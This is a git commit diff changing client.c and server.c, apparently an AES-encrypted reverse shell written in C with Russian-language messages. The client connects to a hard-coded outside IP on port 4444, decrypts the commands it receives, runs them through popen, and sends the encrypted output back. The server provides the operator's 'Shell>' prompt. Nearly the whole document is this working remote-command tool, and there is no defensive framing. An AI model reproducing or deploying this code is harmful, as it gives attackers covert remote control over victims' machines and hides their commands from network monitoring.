letsgo
This commit is contained in:
wheelchairy
parent
fcf7c2f53e
commit
6283b45a0b
2
.gitignore
vendored
Normal file
2
.gitignore
vendored
Normal file
@ -0,0 +1,2 @@
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client
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server
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42
client.c
42
client.c
@ -5,8 +5,8 @@
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#include <sys/socket.h>
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#include <arpa/inet.h>
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#include <openssl/evp.h>
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#include <openssl/sha.h>
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#include <openssl/rand.h>
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#include <openssl/sha.h>
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#define SERVER_IP "212.113.119.5"
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#define PORT 4444
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@ -27,42 +27,42 @@ void generate_aes_key() {
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}
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}
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void encrypt_data(unsigned char *plaintext, unsigned char *ciphertext) {
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int encrypt_data(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) {
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EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
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int len, ciphertext_len;
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unsigned char iv[AES_BLOCK_SIZE] = {0};
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EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
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EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, strlen((char *)plaintext));
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EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len);
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ciphertext_len = len;
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EVP_EncryptFinal_ex(ctx, ciphertext + len, &len);
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ciphertext_len += len;
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EVP_CIPHER_CTX_free(ctx);
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return ciphertext_len;
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}
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void decrypt_data(unsigned char *ciphertext, unsigned char *plaintext) {
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int decrypt_data(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) {
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EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
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int len, plaintext_len;
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unsigned char iv[AES_BLOCK_SIZE] = {0};
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EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
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EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, strlen((char *)ciphertext));
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EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len);
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plaintext_len = len;
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EVP_DecryptFinal_ex(ctx, plaintext + len, &len);
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plaintext_len += len;
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plaintext[plaintext_len] = '\0';
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EVP_CIPHER_CTX_free(ctx);
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return plaintext_len;
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}
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int main() {
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generate_aes_key();
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printf("[+] AES-ключ клиента сгенерирован\n");
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int sock;
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struct sockaddr_in server;
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unsigned char buffer[1024], encrypted[1024], decrypted[1024];
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unsigned char iv[AES_BLOCK_SIZE] = {0}; // IV для шифрования
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sock = socket(AF_INET, SOCK_STREAM, 0);
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server.sin_family = AF_INET;
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@ -70,20 +70,28 @@ int main() {
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server.sin_port = htons(PORT);
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if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
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close(sock);
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return 1;
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perror("[-] Не удалось подключиться");
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exit(1);
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}
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printf("[+] Подключено к серверу %s:%d\n", SERVER_IP, PORT);
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while (1) {
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printf("Shell> ");
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fgets(buffer, sizeof(buffer), stdin);
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int recv_len = recv(sock, encrypted, sizeof(encrypted), 0);
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int decrypted_len = decrypt_data(encrypted, recv_len, key, iv, decrypted);
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encrypt_data(buffer, encrypted);
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send(sock, encrypted, sizeof(encrypted), 0);
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FILE *fp = popen((char *)decrypted, "r");
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if (fp == NULL) {
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perror("[-] Ошибка выполнения команды");
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exit(1);
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}
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recv(sock, encrypted, sizeof(encrypted), 0);
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decrypt_data(encrypted, decrypted);
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printf("%s\n", decrypted);
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fread(buffer, 1, sizeof(buffer) - 1, fp);
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pclose(fp);
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buffer[strlen((char *)buffer)] = '\0';
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int encrypted_len = encrypt_data(buffer, strlen((char *)buffer), key, iv, encrypted);
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send(sock, encrypted, encrypted_len, 0);
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}
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close(sock);
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35
server.c
35
server.c
@ -5,8 +5,8 @@
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#include <arpa/inet.h>
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#include <unistd.h>
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#include <openssl/evp.h>
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#include <openssl/sha.h>
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#include <openssl/rand.h>
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#include <openssl/sha.h>
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#define PORT 4444
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#define AES_KEY_SIZE 16
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@ -19,7 +19,6 @@ void generate_aes_key() {
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char buffer[256];
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if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) {
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pclose(fp);
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printf("[-] Не удалось получить UUID, используем случайный ключ\n");
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RAND_bytes(key, AES_KEY_SIZE);
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} else {
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pclose(fp);
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@ -27,43 +26,43 @@ void generate_aes_key() {
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}
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}
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void encrypt_data(unsigned char *plaintext, unsigned char *ciphertext) {
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int encrypt_data(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) {
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EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
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int len, ciphertext_len;
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unsigned char iv[AES_BLOCK_SIZE] = {0};
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EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
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EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, strlen((char *)plaintext));
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EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len);
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ciphertext_len = len;
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EVP_EncryptFinal_ex(ctx, ciphertext + len, &len);
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ciphertext_len += len;
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EVP_CIPHER_CTX_free(ctx);
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return ciphertext_len;
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}
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void decrypt_data(unsigned char *ciphertext, unsigned char *plaintext) {
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int decrypt_data(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) {
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EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
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int len, plaintext_len;
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unsigned char iv[AES_BLOCK_SIZE] = {0};
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EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
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EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, strlen((char *)ciphertext));
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EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len);
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plaintext_len = len;
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EVP_DecryptFinal_ex(ctx, plaintext + len, &len);
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plaintext_len += len;
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plaintext[plaintext_len] = '\0';
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EVP_CIPHER_CTX_free(ctx);
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return plaintext_len;
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}
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int main() {
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generate_aes_key();
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printf("[+] AES-ключ сервера сгенерирован\n");
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int server_sock, client_sock;
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struct sockaddr_in server, client;
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socklen_t client_size = sizeof(client);
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unsigned char buffer[1024], encrypted[1024], decrypted[1024];
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unsigned char iv[AES_BLOCK_SIZE] = {0}; // IV для шифрования
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server_sock = socket(AF_INET, SOCK_STREAM, 0);
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server.sin_family = AF_INET;
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@ -78,16 +77,18 @@ int main() {
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printf("[+] Подключение от %s\n", inet_ntoa(client.sin_addr));
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while (1) {
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recv(client_sock, encrypted, sizeof(encrypted), 0);
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decrypt_data(encrypted, decrypted);
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printf("Команда: %s\n", decrypted);
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printf("Shell> ");
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fgets((char *)buffer, sizeof(buffer), stdin);
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FILE *fp = popen(decrypted, "r");
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fread(buffer, 1, sizeof(buffer), fp);
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pclose(fp);
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// Убираем \n из команды
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buffer[strcspn((char *)buffer, "\n")] = '\0';
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encrypt_data(buffer, encrypted);
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send(client_sock, encrypted, sizeof(encrypted), 0);
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int encrypted_len = encrypt_data(buffer, strlen((char *)buffer), key, iv, encrypted);
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send(client_sock, encrypted, encrypted_len, 0);
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int recv_len = recv(client_sock, encrypted, sizeof(encrypted), 0);
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int decrypted_len = decrypt_data(encrypted, recv_len, key, iv, decrypted);
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printf("%s\n", decrypted);
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}
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close(client_sock);
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